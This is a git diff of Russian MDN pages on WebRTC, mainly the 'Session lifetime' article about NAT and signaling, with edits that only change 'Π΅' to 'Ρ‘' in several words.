<dd>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ {{domxref("RTCDataChannel")}}Β  - это Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, которая позволяСт ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΊΠ°Π½Π°Π» ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ двумя ΡƒΠ·Π»Π°ΠΌΠΈ, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. Π­Ρ‚ΠΈΒ API Π½Π°ΠΌΠ΅Ρ€Π΅Π½Π½ΠΎ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Β Β <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ Π±Ρ‹ Π² ΠΎΠ±ΠΎΠΈΡ… ΠΌΠΎΠ³Π»Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Сдиная модСль программирования.</dd>
<dt><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Бигнализация ΠΈ двухсторонниС Π²ΠΈΠ΄Π΅ΠΎ Π²Ρ‹Π·ΠΎΠ²Ρ‹</a></dt>
- <dd>НапримСр, ΠΌΡ‹ Π±Π΅Ρ€Π΅ΠΌ Ρ‡Π°Ρ‚ Π½Π° Π²Π΅Π± сокСтС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ создали Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΈ добавляСм Π² Π½Π΅Π³ΠΎ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ Π²Ρ‹Π·ΠΎΠ²Ρ‹. Π‘Π΅Ρ€Π²Π΅Ρ€ Ρ‡Π°Ρ‚Π° Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈΒ WebRTC сигнализации.</dd>
+ <dd>НапримСр, ΠΌΡ‹ Π±Π΅Ρ€Ρ‘ΠΌ Ρ‡Π°Ρ‚ Π½Π° Π²Π΅Π± сокСтС, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ создали Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΈ добавляСм Π² Π½Π΅Π³ΠΎ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ Π²Ρ‹Π·ΠΎΠ²Ρ‹. Π‘Π΅Ρ€Π²Π΅Ρ€ Ρ‡Π°Ρ‚Π° Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈΒ WebRTC сигнализации.</dd>
</dl>
<h2 id="РСсурсы_2"><a id="РСсурсы" name="РСсурсы">РСсурсы</a></h2>
diff --git a/files/ru/web/api/webrtc_api/session_lifetime/index.html b/files/ru/web/api/webrtc_api/session_lifetime/index.html
index 0b052b5475..adf957e2fd 100644
--- a/files/ru/web/api/webrtc_api/session_lifetime/index.html
+++ b/files/ru/web/api/webrtc_api/session_lifetime/index.html
@@ -7,11 +7,11 @@ translation_of: Web/API/WebRTC_API/Session_lifetime
<div class="summary">
<dl>
- <dd>WebRTC позволяСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹ΠΌ прилоТСниям ΠΏΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ соСдинСниС Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΡƒΠ·Π΅Π»-ΡƒΠ·Π΅Π» для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, Π°ΡƒΠ΄ΠΈΠΎ-, Π²ΠΈΠ΄Π΅ΠΎ-ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΈΠ»ΠΈ Π»ΡŽΠ±ΡƒΡŽ ΠΈΡ… ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΡŽ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΆΠΈΠ²Π΅Ρ‚ WebRTC-сСссия, начиная с установки соСдинСния ΠΈ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘ΠΌ Ρ‡Π΅Ρ€Π΅Π· вСсь ΠΏΡƒΡ‚ΡŒ Π΄ΠΎ Π΅Π³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ, Ссли соСдинСниС большС Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ.</dd>
+ <dd>WebRTC позволяСт Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹ΠΌ прилоТСниям ΠΏΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ соСдинСниС Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΡƒΠ·Π΅Π»-ΡƒΠ·Π΅Π» для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, Π°ΡƒΠ΄ΠΈΠΎ-, Π²ΠΈΠ΄Π΅ΠΎ-ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ² ΠΈΠ»ΠΈ Π»ΡŽΠ±ΡƒΡŽ ΠΈΡ… ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΡŽ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΆΠΈΠ²Ρ‘Ρ‚ WebRTC-сСссия, начиная с установки соСдинСния ΠΈ ΠΏΡ€ΠΎΠΉΠ΄Ρ‘ΠΌ Ρ‡Π΅Ρ€Π΅Π· вСсь ΠΏΡƒΡ‚ΡŒ Π΄ΠΎ Π΅Π³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ, Ссли соСдинСниС большС Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ.</dd>
</dl>
</div>
-<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ вдаСтся Π² Π΄Π΅Ρ‚Π°Π»ΠΈ фактичСски ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Π½Ρ‹Ρ… API Π² установкС ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ WebRTC-соСдинСния. Π­Ρ‚ΠΎ просто ΠΎΠ±Π·ΠΎΡ€ процСсса Π² Ρ†Π΅Π»ΠΎΠΌ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎ Ρ‚ΠΎΠΌ, для Ρ‡Π΅Π³ΠΎ Π½ΡƒΠΆΠ΅Π½ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ шаг. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ ΡΡ‚Π°Ρ‚ΡŒΡŽΒ <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с ΠΏΠΎΡˆΠ°Π³ΠΎΠ²Ρ‹ΠΌ объяснСниСм Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΊΠΎΠ΄.</p>
+<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π½Π΅ вдаётся Π² Π΄Π΅Ρ‚Π°Π»ΠΈ фактичСски ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Π½Ρ‹Ρ… API Π² установкС ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ WebRTC-соСдинСния. Π­Ρ‚ΠΎ просто ΠΎΠ±Π·ΠΎΡ€ процСсса Π² Ρ†Π΅Π»ΠΎΠΌ с Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΎ Ρ‚ΠΎΠΌ, для Ρ‡Π΅Π³ΠΎ Π½ΡƒΠΆΠ΅Π½ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ шаг. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ ΡΡ‚Π°Ρ‚ΡŒΡŽΒ <a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с ΠΏΠΎΡˆΠ°Π³ΠΎΠ²Ρ‹ΠΌ объяснСниСм Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ ΠΊΠΎΠ΄.</p>
<div class="note">
<p>Π­Ρ‚Π° страница находится Π² стадии Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ, ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ· содСрТания Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ Π½Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ страницы, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π».Β </p>
@@ -21,7 +21,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime
<h2 id="Установка_соСдинСния">Установка соСдинСния</h2>
-<p>Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ большой. РСально большой. Π£ΠΌΠ½Ρ‹Π΅ люди, нСсколько Π»Π΅Ρ‚ Π½Π°Π·Π°Π΄, Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ² Ρ‚ΠΎ, насколько ΠΎΠ½ Π²Π΅Π»ΠΈΠΊ, ΠΊΠ°ΠΊΠΈΠΌ большим ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΈ Ρ‚ΠΎ ΠΊΠ°ΠΊ быстро растёт, Π° Ρ‚Π°ΠΊΠΆΠ΅ ограничСния 32-Π±ΠΈΡ‚Π½ΠΎΠΉ систСмы адрСсации ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° IP, ΠΈ поняли, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ 64-Π±ΠΈΡ‚Π½ΡƒΡŽ систСму адрСсации. Но Π² ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ½ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€ΠΈΡˆΠ»ΠΈ ΠΊ Π²Ρ‹Π²ΠΎΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Π½ΠΎΠ²ΡƒΡŽ систСму Π·Π°ΠΉΠΌΡ‘Ρ‚ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Π΅ΠΌ продСрТатся 32-разрядныС адрСса. Π—Π°Ρ‚Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΡƒΠΌΠ½Ρ‹Π΅ люди ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Π»ΠΈ способ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ нСскольким ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ 32-ΠΈΡ‚Π½Ρ‹ΠΉ IP-адрСс.Β Network Address Translation ({{Glossary("NAT")}}) - это стандарт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ адрСса ΠΏΡƒΡ‚Π΅ΠΌ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ входящих ΠΈ исходящих ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… Π²Β ΠΈ ΠΈΠ· локальной сСти (LAN), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ СдинствСнный WAN (Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ) адрСс.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ большой. РСально большой. Π£ΠΌΠ½Ρ‹Π΅ люди, нСсколько Π»Π΅Ρ‚ Π½Π°Π·Π°Π΄, Π·Π°ΠΌΠ΅Ρ‚ΠΈΠ² Ρ‚ΠΎ, насколько ΠΎΠ½ Π²Π΅Π»ΠΈΠΊ, ΠΊΠ°ΠΊΠΈΠΌ большим ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΈ Ρ‚ΠΎ ΠΊΠ°ΠΊ быстро растёт, Π° Ρ‚Π°ΠΊΠΆΠ΅ ограничСния 32-Π±ΠΈΡ‚Π½ΠΎΠΉ систСмы адрСсации ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° IP, ΠΈ поняли, Ρ‡Ρ‚ΠΎ Π½ΡƒΠΆΠ½ΠΎ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΄Π΅Π»Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ 64-Π±ΠΈΡ‚Π½ΡƒΡŽ систСму адрСсации. Но Π² ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ½ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€ΠΈΡˆΠ»ΠΈ ΠΊ Π²Ρ‹Π²ΠΎΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ Π½Π° Π½ΠΎΠ²ΡƒΡŽ систСму Π·Π°ΠΉΠΌΡ‘Ρ‚ большС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Π΅ΠΌ продСрТатся 32-разрядныС адрСса. Π—Π°Ρ‚Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΡƒΠΌΠ½Ρ‹Π΅ люди ΠΏΡ€ΠΈΠ΄ΡƒΠΌΠ°Π»ΠΈ способ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠΉ нСскольким ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ 32-ΠΈΡ‚Π½Ρ‹ΠΉ IP-адрСс.Β Network Address Translation ({{Glossary("NAT")}}) - это стандарт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½ΠΈΠ΅ адрСса ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ входящих ΠΈ исходящих ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ… Π²Β ΠΈ ΠΈΠ· локальной сСти (LAN), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ СдинствСнный WAN (Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΉ) адрСс.</p>
<p>ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉΒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ Π² сСти Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ Π½Π΅ обязан ΠΈΠΌΠ΅Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ IP-адрСс, ΠΈ ΠΏΠΎ сути, IP-адрСс устройства ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΎ пСрСмСщаСтся ΠΈΠ· ΠΎΠ΄Π½ΠΎΠΉ сСти Π² Π΄Ρ€ΡƒΠ³ΡƒΡŽ, Π½ΠΎ ΠΈ Ссли ΠΈΡ… сСтСвой адрСс Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½Β {{Glossary("NAT")}} ΠΈ/ΠΈΠ»ΠΈΒ {{interwiki("wikipedia", "DHCP")}}. Для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², ΠΏΡ‹Ρ‚Π°ΡŽΡ‰ΠΈΡ…ΡΡ ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ ΠΎΠ΄Π½ΠΎΡ€Π°Π½Π³ΠΎΠ²Ρ‹Π΅ сСти, эта ситуация являСтся Ρ…ΠΎΡ€ΠΎΡˆΠ΅ΠΉ Π³ΠΎΠ»ΠΎΠ²ΠΎΠ»ΠΎΠΌΠΊΠΎΠΉ: Π±Π΅Π· ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π° для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ устройства, Π½Π΅Ρ‚ возмоТности ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎ автоматичСски Π²Ρ‹ΡΡΠ½ΠΈΡ‚ΡŒ Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒΡΡ ΠΊ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΌΡƒ устройству Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚.Β  Если Π²Ρ‹Π·Π½Π°Π΅Ρ‚Π΅, с ΠΊΠ΅ΠΌ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒ, Π²Π°ΠΌ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ адрСс Ρƒ вашСго собСсСдника.</p>
@@ -31,7 +31,7 @@ translation_of: Web/API/WebRTC_API/Session_lifetime
<h3 id="ΠŸΡ€ΠΎΡ†Π΅ΡΡ_Π‘ΠΈΠ³Π½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ">ΠŸΡ€ΠΎΡ†Π΅ΡΡ Π‘ΠΈΠ³Π½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ</h3>
-<p>Бигнализация - это процСсс ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰Π΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя устройствами для опрСдСлСния ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ² связи, ΠΊΠ°Π½Π°Π»ΠΎΠ², кодирования ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° ΠΌΠ΅Π΄ΠΈΠ°-Π΄Π°Π½Π½Ρ‹Ρ…, Β ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΉ для ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ. НаиболСС ваТная Π²Π΅Ρ‰ΡŒ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ процСссС сигнализации для WebRTC -Β <strong>этот процСсс Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² спСцификации</strong>.</p>
+<p>Бигнализация - это процСсс ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰Π΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя устройствами для опрСдСлСния ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ² связи, ΠΊΠ°Π½Π°Π»ΠΎΠ², кодирования ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° ΠΌΠ΅Π΄ΠΈΠ°-Π΄Π°Π½Π½Ρ‹Ρ…, Β ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π΄Π°Π½Π½Ρ‹Ρ…, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠΉ для ΠΌΠ°Ρ€ΡˆΡ€ΡƒΡ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ. НаиболСС ваТная Π²Π΅Ρ‰ΡŒ, ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½ΡƒΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ ΠΎ процСссС сигнализации для WebRTC -Β <strong>этот процСсс Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² спСцификации</strong>.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒΡΡ вопросом, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π½Π΅Ρ‡Ρ‚ΠΎ основополоТноС для процСсса установки WebRTC-соСдинСния вынСсСно ΠΈΠ· спСцификации? ΠžΡ‚Π²Π΅Ρ‚ прост: ΠΏΠΎΡ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ Π΄Π²Π° устройства Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, ΠΈ спСцификация Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ всС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ способы использования WebRTC, Ρ‚Π°ΠΊΠΆΠ΅ это ΠΏΡ€ΠΈΠΎΠ±Ρ€Π΅Ρ‚Π°Π΅Ρ‚ Π΅Ρ‰Ρ‘ больший смысл с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния прСдоставлСния Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ возмоТности Π²Ρ‹Π±ΠΎΡ€Π° Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящСй сСтСвой Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠ² ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ сообщСний.</p>
@@ -58,18 +58,18 @@ translation_of: Web/API/WebRTC_API/Session_lifetime
<p>БущСствуСт ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ дСйствий, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ стало Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ Π½Π°Ρ‡Π°Π»ΠΎΒ WebRTC-сСссии:</p>
<ol>
